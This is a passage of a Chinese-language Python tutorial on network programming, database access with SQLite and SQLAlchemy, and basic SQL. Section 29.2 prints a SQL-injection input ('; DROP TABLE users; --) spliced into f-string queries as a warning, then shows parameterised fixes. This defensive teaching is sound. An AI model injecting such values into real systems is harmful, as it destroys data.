  • 忘记 import:Union、Optional 等需要从 typing 模块导入
  • 版本不兼容:list[int] 需要 3.9+,int | str 需要 3.10+,低版本用 typing 模块
  • 过度注解:不是每个变量都需要注解,函数参数和返回值最重要
  • 混用运行时和静态检查:pydantic 是运行时校验,mypy 是静态检查,用途不同

第二十八章:网络编程

本章导览

网络编程让你的程序能和互联网"对话"——发送 HTTP 请求、调用 API、下载文件等。本章会介绍最常用的 requests 库和 socket 编程基础。

28.1 HTTP 请求——requests 库

import requests

# GET 请求(必须设置 timeout!)
response = requests.get("https://httpbin.org/get", timeout=10)
print(response.status_code)  # 200
print(response.json())       # 解析 JSON 响应

# 带参数的 GET
response = requests.get(
    "https://httpbin.org/get",
    params={"name": "张三", "age": 18},
    timeout=10
)

# POST 请求
response = requests.post(
    "https://httpbin.org/post",
    json={"username": "admin", "password": "123456"},
    timeout=10
)

# 自定义 headers
headers = {"Authorization": "Bearer token123"}
response = requests.get("https://httpbin.org/headers", headers=headers, timeout=10)

# 下载文件(大文件用 stream + timeout)
response = requests.get("https://example.com/image.jpg", timeout=30, stream=True)
with open("image.jpg", "wb") as f:
    for chunk in response.iter_content(chunk_size=8192):
        f.write(chunk)
为什么必须设置 timeout?

如果不设置 timeout,当服务器不响应时,你的程序会永远卡住。这在生产环境中非常危险——一个慢请求可能阻塞整个线程池,导致服务不可用。

  • timeout=10:连接超时和读取超时都是 10 秒
  • timeout=(3, 10):连接超时 3 秒,读取超时 10 秒(推荐)
  • 下载大文件用 stream=True,避免一次性加载到内存

28.2 调用 REST API

import requests

class APIClient:
    def __init__(self, base_url, timeout=10):
        self.base_url = base_url
        self.timeout = timeout
        self.session = requests.Session()

    def get(self, endpoint, **kwargs):
        kwargs.setdefault("timeout", self.timeout)
        resp = self.session.get(f"{self.base_url}{endpoint}", **kwargs)
        resp.raise_for_status()  # 状态码不是 2xx 时抛异常
        return resp.json()

    def post(self, endpoint, data=None, **kwargs):
        kwargs.setdefault("timeout", self.timeout)
        resp = self.session.post(f"{self.base_url}{endpoint}", json=data, **kwargs)
        resp.raise_for_status()
        return resp.json()

# 使用
api = APIClient("https://jsonplaceholder.typicode.com")
users = api.get("/users")
print(users[0]["name"])

new_post = api.post("/posts", data={"title": "标题", "body": "内容", "userId": 1})
print(new_post)

28.3 socket 编程基础

# 服务端
import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("localhost", 8888))
server.listen(1)
print("服务器启动,等待连接...")

conn, addr = server.accept()
print(f"客户端 {addr} 已连接")
data = conn.recv(1024).decode()
print(f"收到:{data}")
conn.send(f"服务器收到:{data}".encode())
conn.close()
server.close()

# 客户端
import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("localhost", 8888))
client.send("你好服务器".encode())
response = client.recv(1024).decode()
print(f"服务器回复:{response}")
client.close()

28.4 WebSocket——实时双向通信

HTTP vs WebSocket

HTTP:你问我答(请求-响应)。客户端发请求,服务器返回结果,然后连接断开。
WebSocket:打电话(持续连接)。客户端和服务器建立连接后,双方可以随时发消息,直到主动挂断。

# 安装:pip install websockets

# ===== WebSocket 服务器 =====
import asyncio
import websockets

# 存储所有连接的客户端
connected_clients = set()

async def handler(websocket):
    """处理每个客户端连接"""
    # 注册客户端
    connected_clients.add(websocket)
    print(f"新客户端连接,当前在线:{len(connected_clients)}")

    try:
        async for message in websocket:
            print(f"收到消息:{message}")

            # 广播给所有客户端
            for client in connected_clients:
                if client != websocket:
                    await client.send(f"其他人说:{message}")

            # 回复发送者
            await websocket.send(f"服务器确认:已收到你的消息")

    except websockets.exceptions.ConnectionClosed:
        print("客户端断开连接")
    finally:
        connected_clients.remove(websocket)

async def main():
    async with websockets.serve(handler, "localhost", 8765):
        print("WebSocket 服务器启动在 ws://localhost:8765")
        await asyncio.Future()  # 永久运行

asyncio.run(main())
# ===== WebSocket 客户端 =====
import asyncio
import websockets

async def client():
    uri = "ws://localhost:8765"
    async with websockets.connect(uri) as websocket:
        # 发送消息
        await websocket.send("你好,服务器!")

        # 接收回复
        response = await websocket.recv()
        print(f"服务器回复:{response}")

        # 持续通信
        while True:
            message = input("输入消息(quit 退出):")
            if message == "quit":
                break
            await websocket.send(message)
            response = await websocket.recv()
            print(f"服务器:{response}")

asyncio.run(client())

28.5 FastAPI WebSocket

from fastapi import FastAPI, WebSocket, WebSocketDisconnect
from fastapi.responses import HTMLResponse
from typing import List

app = FastAPI()

# 存储所有连接
class ConnectionManager:
    def __init__(self):
        self.active_connections: List[WebSocket] = []

    async def connect(self, websocket: WebSocket):
        await websocket.accept()
        self.active_connections.append(websocket)

    def disconnect(self, websocket: WebSocket):
        self.active_connections.remove(websocket)

    async def send_personal_message(self, message: str, websocket: WebSocket):
        await websocket.send_text(message)

    async def broadcast(self, message: str):
        for connection in self.active_connections:
            await connection.send_text(message)

manager = ConnectionManager()

@app.websocket("/ws/{client_id}")
async def websocket_endpoint(websocket: WebSocket, client_id: str):
    await manager.connect(websocket)
    await manager.broadcast(f"{client_id} 加入了聊天室")

    try:
        while True:
            data = await websocket.receive_text()
            await manager.broadcast(f"{client_id}: {data}")
    except WebSocketDisconnect:
        manager.disconnect(websocket)
        await manager.broadcast(f"{client_id} 离开了聊天室")

# 聊天室页面
@app.get("/")
async def get():
    return HTMLResponse("""
    <!DOCTYPE html>
    <html>
    <head><title>WebSocket 聊天室</title></head>
    <body>
        <h1>WebSocket 聊天室</h1>
        <input id="nameInput" placeholder="你的名字">
        <button onclick="connect()">连接</button>
        <br><br>
        <input id="messageInput" placeholder="输入消息..." disabled>
        <button onclick="send()" disabled id="sendBtn">发送</button>
        <div id="messages" style="border:1px solid #ccc; padding:10px; height:300px; overflow-y:auto;"></div>

        <script>
        let ws;
        function connect() {
            const name = document.getElementById('nameInput').value;
            ws = new WebSocket(`ws://localhost:8000/ws/${name}`);
            ws.onmessage = function(event) {
                const messages = document.getElementById('messages');
                messages.innerHTML += event.data + '<br>';
                messages.scrollTop = messages.scrollHeight;
            };
            document.getElementById('messageInput').disabled = false;
            document.getElementById('sendBtn').disabled = false;
        }
        function send() {
            const input = document.getElementById('messageInput');
            ws.send(input.value);
            input.value = '';
        }
        </script>
    </body>
    </html>
    """)

# 启动:uvicorn main:app --reload
# 访问:http://localhost:8000

28.6 WebSocket 实战:实时数据推送

import asyncio
import websockets
import json
import random
from datetime import datetime

async def stock_price_generator(websocket):
    """模拟股票价格实时推送"""
    prices = {"AAPL": 150.0, "GOOGL": 2800.0, "TSLA": 900.0}

    try:
        while True:
            # 模拟价格波动
            for symbol in prices:
                change = random.uniform(-5, 5)
                prices[symbol] = round(prices[symbol] + change, 2)

            # 构造数据
            data = {
                "timestamp": datetime.now().isoformat(),
                "prices": prices
            }

            # 推送给客户端
            await websocket.send(json.dumps(data, ensure_ascii=False))

            # 每秒推送一次
            await asyncio.sleep(1)

    except websockets.exceptions.ConnectionClosed:
        print("客户端断开")

async def main():
    async with websockets.serve(stock_price_generator, "localhost", 8765):
        print("股票价格推送服务启动在 ws://localhost:8765")
        await asyncio.Future()

# 客户端接收
async def stock_client():
    uri = "ws://localhost:8765"
    async with websockets.connect(uri) as websocket:
        while True:
            data = await websocket.recv()
            prices = json.loads(data)
            print(f"\n--- {prices['timestamp']} ---")
            for symbol, price in prices['prices'].items():
                print(f"{symbol}: ${price}")

# 启动服务器:python server.py
# 启动客户端:python client.py
常见错误总结
  • 忘记处理异常:网络请求可能失败,应该用 try-except 包裹
  • 忘记 close():socket 和 requests.Session 用完后要关闭
  • 编码问题:socket 收发的是 bytes,需要 encode()/decode()

第二十九章:数据库操作

本章导览

数据库是存储和管理数据的核心工具。Python 内置了 SQLite(轻量级数据库),还有 SQLAlchemy 这样的 ORM 框架,让你用 Python 代码代替 SQL 语句操作数据库。本章会教你从基础的 SQL 操作到 ORM 的使用,并深入讲解 ORM 最致命的性能陷阱(N+1 查询)、连接池与事务隔离、以及真实项目必备的数据库迁移(Alembic)。

29.1 SQLite(Python 内置)

import sqlite3

# 连接数据库(文件不存在会自动创建)
conn = sqlite3.connect("mydb.db")
cursor = conn.cursor()

# 创建表
cursor.execute("""
    CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        name TEXT NOT NULL,
        age INTEGER,
        email TEXT UNIQUE
    )
""")

# 插入数据(参数化防 SQL 注入)
cursor.execute("INSERT INTO users (name, age, email) VALUES (?, ?, ?)",
               ("张三", 18, "zhangsan@email.com"))

# 批量插入
users = [
    ("李四", 20, "lisi@email.com"),
    ("王五", 22, "wangwu@email.com")
]
cursor.executemany("INSERT INTO users (name, age, email) VALUES (?, ?, ?)", users)

conn.commit()  # 提交事务

# 查询
cursor.execute("SELECT * FROM users WHERE age > ?", (18,))
rows = cursor.fetchall()
for row in rows:
    print(row)  # (2, '李四', 20, 'lisi@email.com')

# 更新
cursor.execute("UPDATE users SET age = ? WHERE name = ?", (21, "李四"))
conn.commit()

# 删除
cursor.execute("DELETE FROM users WHERE name = ?", ("王五",))
conn.commit()

conn.close()

29.2 参数化查询(防 SQL 注入)

# ❌ 危险!SQL 注入
user_input = "'; DROP TABLE users; --"
cursor.execute(f"SELECT * FROM users WHERE name = '{user_input}'")

# ✅ 安全!参数化查询
cursor.execute("SELECT * FROM users WHERE name = ?", (user_input,))
ORM 中的 SQL 注入风险

很多人以为用了 ORM 就自动安全了,其实不然。SQLAlchemy 的 text() 函数如果直接拼接用户输入,同样会导致 SQL 注入:

from sqlalchemy import text

# ❌ 危险!ORM 中的 SQL 注入
user_input = "'; DROP TABLE users; --"
session.execute(text(f"SELECT * FROM users WHERE name = '{user_input}'"))

# ✅ 安全!使用参数绑定
session.execute(text("SELECT * FROM users WHERE name = :name"), {"name": user_input})

原则:无论用原生 SQL 还是 ORM,只要涉及字符串拼接 SQL,就有注入风险。

29.3 SQLAlchemy ORM 入门

from sqlalchemy import create_engine, Column, Integer, String, ForeignKey
from sqlalchemy.orm import declarative_base, sessionmaker, relationship

Base = declarative_base()

# 定义模型
class User(Base):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
    name = Column(String(50), nullable=False)
    age = Column(Integer)

    # 关系:一个用户有多篇文章
    posts = relationship("Post", back_populates="author", lazy="select")

    def __repr__(self):
        return f"User(name={self.name!r}, age={self.age})"

class Post(Base):
    __tablename__ = "posts"
    id = Column(Integer, primary_key=True)
    title = Column(String(200), nullable=False)
    content = Column(String)
    author_id = Column(Integer, ForeignKey("users.id"))

    author = relationship("User", back_populates="posts")

# 创建数据库和表
engine = create_engine("sqlite:///mydb.db")
Base.metadata.create_all(engine)

# 创建会话
Session = sessionmaker(bind=engine)
session = Session()

# 增
user = User(name="张三", age=18)
session.add(user)
session.commit()

# 查
users = session.query(User).filter(User.age >= 18).all()
print(users)

# 改
user = session.query(User).filter_by(name="张三").first()
user.age = 19
session.commit()

# 删
session.delete(user)
session.commit()

29.4 N+1 查询问题——"ORM 最致命的性能杀手"

生活类比

你去图书馆还 10 本书。正确做法是一次性把 10 本书递给前台(1 次操作)。N+1 查询的做法是:先走到前台问"我有几本书要还?"(1 次),然后每本书单独跑一趟前台(10 次)。总共跑了 11 趟!这就是 N+1 问题——查 1 个列表,却发了 N+1 条 SQL。

N+1 问题的根源是:先查出 N 条主记录,然后对每条记录分别查询其关联数据。数据量一大,数据库就被"查询风暴"打爆。

from sqlalchemy import create_engine, Column, Integer, String, ForeignKey
from sqlalchemy.orm import declarative_base, sessionmaker, relationship

Base = declarative_base()

class User(Base):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
    name = Column(String(50))
    # lazy="select" 是默认值:访问 posts 时才发 SQL 查询
    posts = relationship("Post", back_populates="author", lazy="select")

class Post(Base):
    __tablename__ = "posts"
    id = Column(Integer, primary_key=True)
    title = Column(String(200))
    author_id = Column(Integer, ForeignKey("users.id"))
    author = relationship("User", back_populates="posts")

engine = create_engine("sqlite:///mydb.db", echo=True)  # echo=True 显示 SQL
Base.metadata.create_all(engine)
Session = sessionmaker(bind=engine)
session = Session()

# ===== ❌ N+1 问题演示 =====
users = session.query(User).all()  # SQL 1:SELECT * FROM users

for user in users:
    # 每次访问 user.posts,都会发一条新 SQL!
    print(f"{user.name} 发表了 {len(user.posts)} 篇文章")
    # SQL 2:SELECT * FROM posts WHERE author_id = 1
    # SQL 3:SELECT * FROM posts WHERE author_id = 2
    # SQL 4:SELECT * FROM posts WHERE author_id = 3
    # ... 100 个用户 = 101 条 SQL!

# ===== ✅ 解决方案 1:joinedload(JOIN 查询,一条 SQL 搞定)=====
from sqlalchemy.orm import joinedload

users = session.query(User).options(joinedload(User.posts)).all()
# 生成的 SQL:
# SELECT users.*, posts.*
# FROM users
# LEFT OUTER JOIN posts ON users.id = posts.author_id
# 一条 SQL 拿到所有数据!

for user in users:
    print(f"{user.name} 发表了 {len(user.posts)} 篇文章")
    # 不会再发新 SQL,posts 已经在 JOIN 时一起查出来了

# ===== ✅ 解决方案 2:selectinload(子查询,适合一对多)=====
from sqlalchemy.orm import selectinload

users = session.query(User).options(selectinload(User.posts)).all()
# 生成的 SQL:
# SQL 1:SELECT * FROM users
# SQL 2:SELECT * FROM posts WHERE author_id IN (1, 2, 3, ...)
# 只有 2 条 SQL,不管有多少用户!

for user in users:
    print(f"{user.name} 发表了 {len(user.posts)} 篇文章")

joinedload vs selectinload 选型

方式SQL 策略适用场景注意事项
joinedloadLEFT JOIN 一次查出一对一、多对一关系一对多时会产生大量重复数据(笛卡尔积)
selectinload先查主表,再用 IN 子查询关联表一对多、多对多关系推荐大多数场景使用,不会产生重复数据
subqueryload用子查询包装主查询特殊场景性能不如 selectinload,一般不推荐
lazy="select"访问时才发 SQL(默认)很少访问关联数据时N+1 问题的根源!
最佳实践:在模型层设置默认加载策略
class User(Base):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
    name = Column(String(50))

    # 一对多关系:默认用 selectinload(避免 N+1)
    posts = relationship("Post", back_populates="author", lazy="selectin")

    # 多对一关系:默认用 joinedload(一次 JOIN 搞定)
    # profile = relationship("Profile", back_populates="user", lazy="joined")

29.5 连接池与事务隔离——"数据库的并发安全"

生活类比

连接池就像一个"出租车车队"。你不需要每次打车都买一辆新车(创建连接),而是从车队里借一辆(获取连接),用完还回去(释放连接)。车队大小有限(pool_size),如果所有车都在用,新来的人就得排队等待。

事务隔离就像"考试规则"。如果允许偷看别人的答案(脏读),就可能抄到错误答案(读到未提交的数据)。隔离级别越高,规则越严格,并发性能越低。

连接池配置

from sqlalchemy import create_engine

# ===== 默认连接池(QueuePool)=====
engine = create_engine(
    "postgresql://user:password@localhost/mydb",
    pool_size=10,          # 连接池大小:同时保持 10 个空闲连接
    max_overflow=20,       # 溢出:高峰期最多额外创建 20 个连接(总共 30 个)
    pool_timeout=30,       # 超时:等待连接超过 30 秒抛异常
    pool_recycle=3600,     # 回收:连接闲置超过 1 小时自动关闭(防止数据库断开)
    pool_pre_ping=True,    # 预检测:使用前先 ping 一下,避免拿到已断开的连接
)

# ===== SQLite 不支持连接池(单文件数据库)=====
sqlite_engine = create_engine(
    "sqlite:///mydb.db",
    poolclass=StaticPool,  # SQLite 用 StaticPool
    connect_args={"check_same_thread": False},  # 允许多线程访问
)

# ===== 查看连接池状态 =====
print(engine.pool.status())
# Pool size: 10  Connections in pool: 8  Current overflow: 0

事务隔离级别——"脏读、不可重复读、幻读"

隔离级别脏读不可重复读幻读性能
READ UNCOMMITTED可能可能可能最高
READ COMMITTED不会可能可能高
REPEATABLE READ不会不会可能中
SERIALIZABLE不会不会不会最低
# ===== 三种并发异常的解释 =====

# 1. 脏读(Dirty Read):读到别人还没提交的数据
# 事务 A:UPDATE accounts SET balance = 0 WHERE id = 1  (还没 commit)
# 事务 B:SELECT balance FROM accounts WHERE id = 1  → 读到 0!
# 事务 A:ROLLBACK  → 余额其实没变,但 B 已经基于错误数据做了决策

# 2. 不可重复读(Non-repeatable Read):同一事务内两次读结果不同
# 事务 A:SELECT balance FROM accounts WHERE id = 1  → 1000
# 事务 B:UPDATE accounts SET balance = 500 WHERE id = 1  → commit
# 事务 A:SELECT balance FROM accounts WHERE id = 1  → 500!(同一个事务内,结果变了)

# 3. 幻读(Phantom Read):同一事务内两次查询,行数不同
# 事务 A:SELECT COUNT(*) FROM orders WHERE amount > 100  → 5 条
# 事务 B:INSERT INTO orders (amount) VALUES (200)  → commit
# 事务 A:SELECT COUNT(*) FROM orders WHERE amount > 100  → 6 条!(多了一行)

# ===== 在 SQLAlchemy 中设置隔离级别 =====
engine = create_engine(
    "postgresql://user:password@localhost/mydb",
    isolation_level="REPEATABLE READ",  # 设置隔离级别
)

# 也可以在事务级别设置
with engine.connect() as conn:
    conn.execution_options(isolation_level="SERIALIZABLE")
    result = conn.execute(text("SELECT ..."))
如何选择隔离级别?
  • 大多数 Web 应用:用数据库默认级别即可(PostgreSQL 默认 READ COMMITTED,MySQL 默认 REPEATABLE READ)
  • 金融/电商(涉及金额):用 REPEATABLE READ 或 SERIALIZABLE,防止并发导致数据不一致
  • 只读报表:用 READ COMMITTED 就够了,追求性能
  • 原则:隔离级别越高越安全,但性能越差。根据业务场景选择,不要一刀切

29.6 数据库迁移(Alembic)——"版本控制你的表结构"

生活类比

你在装修房子。第一次装修是"建表"(CREATE TABLE)。后来你想加一个阳台——你不会把整栋楼拆了重建(DROP TABLE + CREATE TABLE),而是做一个"改造工程"(ALTER TABLE)。数据库迁移就是这个"改造工程"的施工图纸:记录每次改了什么、怎么改的、怎么回滚。

在真实项目中,表结构变更是家常便饭——加字段、改类型、加索引。但你绝对不能手动 DROP TABLE 再重建,因为表里有数据!Alembic 是 SQLAlchemy 的官方迁移工具,让你像 Git 管理代码一样管理数据库结构。

# ===== 安装 =====
# pip install alembic

# ===== 初始化(在项目根目录执行)=====
# alembic init alembic
# 这会创建:
# alembic/
# ├── versions/        # 迁移脚本存放目录
# ├── env.py           # 迁移环境配置
# └── script.py.mako   # 迁移脚本模板
# alembic.ini          # Alembic 配置文件

# ===== 配置 alembic.ini =====
# sqlalchemy.url = postgresql://user:password@localhost/mydb

# ===== 配置 alembic/env.py(关键!)=====
# 在 env.py 中导入你的模型,让 Alembic 能"看到"表结构
# from app.models import Base
# target_metadata = Base.metadata
# ===== 迁移工作流程 =====

# 第 1 步:修改模型(比如给 User 加一个 email 字段)
class User(Base):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
    name = Column(String(50))
    email = Column(String(120))  # ← 新增字段

# 第 2 步:自动生成迁移脚本
# alembic revision --autogenerate -m "add email to users"
# Alembic 会对比模型和数据库,自动生成差异代码

# 第 3 步:查看生成的迁移脚本
# alembic/versions/abc123_add_email_to_users.py
"""
revision = 'abc123'
down_revision = 'def456'

def upgrade():
    op.add_column('users', sa.Column('email', sa.String(120), nullable=True))

def downgrade():
    op.drop_column('users', 'email')
"""

# 第 4 步:执行迁移
# alembic upgrade head      → 升级到最新版本
# alembic downgrade -1      → 回滚一个版本
# alembic history           → 查看迁移历史
# alembic current           → 查看当前版本
# ===== 常用迁移操作 =====
from alembic import op
import sqlalchemy as sa

def upgrade():
    # 添加列
    op.add_column('users', sa.Column('email', sa.String(120)))

    # 修改列类型
    op.alter_column('users', 'name', type_=sa.String(100))

    # 添加索引
    op.create_index('ix_users_email', 'users', ['email'], unique=True)

    # 创建新表
    op.create_table(
        'tags',
        sa.Column('id', sa.Integer, primary_key=True),
        sa.Column('name', sa.String(50), nullable=False),
    )

    # 添加外键
    op.add_column('posts', sa.Column('tag_id', sa.Integer))
    op.create_foreign_key('fk_posts_tag', 'posts', 'tags', ['tag_id'], ['id'])

    # 删除列
    op.drop_column('users', 'old_field')

def downgrade():
    # 回滚操作(与 upgrade 相反)
    op.drop_column('users', 'email')
迁移最佳实践
  • 每次改模型都生成迁移:不要攒着,改一点迁移一点
  • 迁移脚本要提交到 Git:它是数据库结构的"版本历史"
  • 先迁移再部署:部署顺序是 alembic upgrade head → 再重启应用
  • downgrade 必须写:每个迁移都要能回滚,否则出问题无法恢复
  • 不要手动改数据库:所有结构变更都通过迁移脚本,保持代码和数据库一致
常见错误总结
  • SQL 注入:永远不要用字符串拼接 SQL,必须用参数化查询
  • 忘记 commit():增删改操作后必须 commit(),否则不会保存
  • 忘记 close():数据库连接用完后要关闭,建议用 with 语句或连接池自动管理
  • N+1 查询:遍历关联对象时,默认 lazy loading 会发 N 条 SQL。用 joinedload 或 selectinload 一次搞定
  • 手动改数据库:直接 ALTER TABLE 会导致代码和数据库不一致。必须用 Alembic 迁移
  • 连接池不配置 pool_recycle:MySQL 默认 8 小时断开空闲连接,不配置回收会导致"连接已断开"错误
  • 事务不回滚:出异常后必须 rollback(),否则后续操作会报 "transaction has been rolled back"

第三十章:SQL 基础——增删改查

本章导览

SQL(Structured Query Language)是与数据库沟通的语言。无论你用 MySQL、PostgreSQL 还是 SQLite,SQL 语法都大同小异。本章会从零开始教你 SQL 的核心操作——增删改查(CRUD),这是所有数据库操作的基础,也是后端开发、数据分析、爬虫存储数据的必备技能。

30.1 什么是 SQL?

SQL 是专门用来和数据库对话的语言。你可以用它来创建表、插入数据、查询数据、修改数据、删除数据。

生活类比

把数据库想象成一个Excel 工作簿:每个"表"就是一个 Sheet,每一行是一条记录,每一列是一个字段。SQL 就是你告诉数据库"帮我找年龄大于 18 的人"、"把张三的年龄改成 20"的语言。

DDL
数据定义语言——创建/修改/删除表结构(CREATE、ALTER、DROP)
DML
数据操作语言——增删改查数据(INSERT、UPDATE、DELETE、SELECT)
DCL
数据控制语言——权限管理(GRANT、REVOKE)

30.2 创建表(CREATE TABLE)

-- 创建用户表
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,  -- 主键,自动递增
    name VARCHAR(50) NOT NULL,          -- 姓名,不能为空
    age INT DEFAULT 0,                  -- 年龄,默认 0
    email VARCHAR(100) UNIQUE,          -- 邮箱,唯一
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP  -- 创建时间
);

-- 创建文章表
CREATE TABLE posts (
    id INT PRIMARY KEY AUTO_INCREMENT,
    title VARCHAR(200) NOT NULL,
    content TEXT,
    author_id INT,                      -- 外键,关联 users 表
    FOREIGN KEY (author_id) REFERENCES users(id)
);
常用数据类型
类型说明示例
INT整数age INT
VARCHAR(n)可变长度字符串(最大 n 字符)name VARCHAR(50)
TEXT长文本content TEXT
FLOAT / DOUBLE浮点数price FLOAT
DECIMAL(m,d)精确小数(适合金额)price DECIMAL(10,2)
DATE日期birthday DATE
TIMESTAMP时间戳created_at TIMESTAMP
BOOLEAN布尔值is_active BOOLEAN

30.3 插入数据(INSERT)

-- 插入单条数据
INSERT INTO users (name, age, email)
VALUES ('张三', 18, 'zhangsan@email.com');

-- 插入多条数据
INSERT INTO users (name, age, email) VALUES
    ('李四', 20, 'lisi@email.com'),
    ('王五', 22, 'wangwu@email.com'),
    ('赵六', 25, 'zhaoliu@email.com');

-- 插入部分字段(其他字段用默认值)
INSERT INTO users (name, email)
VALUES ('钱七', 'qianqi@email.com');

-- 从查询结果插入
INSERT INTO users_backup (name, age)
SELECT name, age FROM users WHERE age > 18;

30.4 查询数据(SELECT)——SQL 的灵魂

-- 查询所有字段
SELECT * FROM users;

-- 查询指定字段
SELECT name, age FROM users;

-- 条件查询(WHERE)
SELECT * FROM users WHERE age > 18;
SELECT * FROM users WHERE name = '张三';
SELECT * FROM users WHERE age BETWEEN 18 AND 25;
SELECT * FROM users WHERE name IN ('张三', '李四', '王五');
SELECT * FROM users WHERE email IS NOT NULL;
SELECT * FROM users WHERE name LIKE '张%';  -- 以"张"开头
SELECT * FROM users WHERE name LIKE '%三';  -- 以"三"结尾
SELECT * FROM users WHERE name LIKE '%三%'; -- 包含"三"

-- 多条件组合(AND / OR)
SELECT * FROM users WHERE age > 18 AND name LIKE '张%';
SELECT * FROM users WHERE age < 18 OR age > 60;

-- 排序(ORDER BY)
SELECT * FROM users ORDER BY age ASC;       -- 升序
SELECT * FROM users ORDER BY age DESC;      -- 降序
SELECT * FROM users ORDER BY age DESC, name ASC;  -- 先按年龄降序,再按名字升序

-- 限制条数(LIMIT)
SELECT * FROM users LIMIT 10;               -- 只取前 10 条
SELECT * FROM users LIMIT 10 OFFSET 20;     -- 跳过前 20 条,取 10 条(分页)

-- 去重(DISTINCT)
SELECT DISTINCT age FROM users;

-- 别名(AS)
SELECT name AS 姓名, age AS 年龄 FROM users;
WHERE 子句常用运算符
运算符说明示例
=等于WHERE age = 18
!= / <>不等于WHERE age != 18
> < >= <=大小比较WHERE age > 18
BETWEEN范围WHERE age BETWEEN 18 AND 25
IN在列表中WHERE name IN ('张三','李四')
LIKE模糊匹配WHERE name LIKE '张%'
IS NULL为空WHERE email IS NULL
AND / OR逻辑组合WHERE age>18 AND name='张三'
NOT取反WHERE NOT age = 18

30.5 更新数据(UPDATE)

-- 更新单个字段
UPDATE users SET age = 20 WHERE name = '张三';

-- 更新多个字段
UPDATE users SET age = 21, email = 'new@email.com' WHERE id = 1;

-- 使用表达式更新
UPDATE users SET age = age + 1 WHERE age < 18;

-- ⚠️ 注意:不加 WHERE 会更新所有行!
UPDATE users SET age = 0;  -- 所有用户的年龄都变成 0 了!
⚠️ 危险操作警告

UPDATE 和 DELETE 如果不加 WHERE 条件,会影响所有行!建议:

  • 先用 SELECT 确认条件是否正确:SELECT * FROM users WHERE ...
  • 在事务中执行(BEGIN → UPDATE → 确认 → COMMIT 或 ROLLBACK)
  • 生产环境开启安全模式:SET SQL_SAFE_UPDATES = 1;

30.6 删除数据(DELETE)

-- 删除指定数据
DELETE FROM users WHERE name = '张三';

-- 删除满足条件的数据
DELETE FROM users WHERE age < 18;

-- 删除所有数据(保留表结构)
DELETE FROM users;

-- 截断表(更快,重置自增 ID)
TRUNCATE TABLE users;
DELETE vs TRUNCATE vs DROP
操作说明能否回滚自增 ID
DELETE FROM table逐行删除数据可以不重置
TRUNCATE TABLE清空所有数据不可以重置为 1
DROP TABLE删除整张表不可以表都没了

30.7 聚合函数(COUNT、SUM、AVG、MAX、MIN)

-- 统计行数
SELECT COUNT(*) FROM users;
SELECT COUNT(*) AS total FROM users WHERE age > 18;

-- 求和、平均值、最大、最小
SELECT SUM(age) AS 总年龄 FROM users;
SELECT AVG(age) AS 平均年龄 FROM users;
SELECT MAX(age) AS 最大年龄 FROM users;
SELECT MIN(age) AS 最小年龄 FROM users;

-- 组合使用
SELECT
    COUNT(*) AS 人数,
    AVG(age) AS 平均年龄,
    MAX(age) AS 最大年龄,
    MIN(age) AS 最小年龄
FROM users;

30.8 修改表结构(ALTER TABLE)

-- 添加列
ALTER TABLE students ADD COLUMN email VARCHAR(100);

-- 修改列类型
ALTER TABLE students MODIFY COLUMN score DECIMAL(5,2);

-- 删除列
ALTER TABLE students DROP COLUMN email;

-- 重命名列(MySQL 8.0+)
ALTER TABLE students RENAME COLUMN name TO full_name;

-- 添加约束
ALTER TABLE students ADD CONSTRAINT unique_name UNIQUE (full_name);

-- 查看表结构
DESC students;
-- 或
SHOW CREATE TABLE students;

30.9 CASE WHEN——SQL 中的 if-else

-- 基本用法:根据条件返回不同值
SELECT name, score,
    CASE
        WHEN score >= 90 THEN '优秀'
        WHEN score >= 80 THEN '良好'
        WHEN score >= 60 THEN '及格'
        ELSE '不及格'
    END AS grade
FROM students;

-- 统计各等级人数
SELECT
    CASE
        WHEN score >= 90 THEN '优秀'
        WHEN score >= 60 THEN '及格'
        ELSE '不及格'
    END AS grade,
    COUNT(*) AS count
FROM students
GROUP BY grade;

-- 在 UPDATE 中使用
UPDATE orders SET status = CASE
    WHEN total > 1000 THEN 'VIP'
    WHEN total > 100 THEN '普通'
    ELSE '小额'
END;

-- 在 ORDER BY 中使用(自定义排序)
SELECT * FROM tasks ORDER BY CASE priority
    WHEN 'high' THEN 1
    WHEN 'medium' THEN 2
    WHEN 'low' THEN 3
END;

30.10 Python 操作 SQL(以 SQLite 为例)

import sqlite3

# 连接数据库
conn = sqlite3.connect("school.db")
cursor = conn.cursor()

# 创建表
cursor.execute("""
    CREATE TABLE IF NOT EXISTS students (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        name TEXT NOT NULL,
        age INTEGER,
        score REAL
    )
""")

# 插入数据(参数化防注入)
students = [
    ("张三", 18, 92.5),
    ("李四", 20, 85.0),
    ("王五", 19, 78.5),
    ("赵六", 21, 96.0),
    ("钱七", 18, 88.5)
]
cursor.executemany("INSERT INTO students (name, age, score) VALUES (?, ?, ?)", students)
conn.commit()

# 查询
cursor.execute("SELECT * FROM students WHERE score > 85")
rows = cursor.fetchall()
for row in rows:
    print(row)  # (1, '张三', 18, 92.5) ...

# 查询单条
cursor.execute("SELECT * FROM students WHERE name = ?", ("张三",))
student = cursor.fetchone()
print(student)

# 更新
cursor.execute("UPDATE students SET score = ? WHERE name = ?", (95.0, "张三"))
conn.commit()

# 删除
cursor.execute("DELETE FROM students WHERE score < 80")
conn.commit()

# 关闭连接
conn.close()
最佳实践
  • 永远用参数化查询:cursor.execute("... WHERE id = ?", (id,)),不要用 f-string 拼接
  • 用 with 管理连接:自动关闭,避免资源泄漏
  • 操作完要 commit():INSERT/UPDATE/DELETE 后必须 commit,否则不会保存
  • 生产环境用连接池:不要每次操作都新建连接
常见错误总结
  • 忘记 WHERE:UPDATE/DELETE 不加 WHERE 会影响所有行
  • SQL 注入:用 f-string 拼接 SQL 是最大安全隐患
  • 忘记 commit():写了 INSERT 但没 commit,数据不会保存
  • 忘记 close():连接不关闭会导致数据库连接耗尽
  • SELECT *:生产环境不要用 SELECT *,明确写出需要的字段

第三十一章:SQL 进阶——多表查询与索引

本章导览

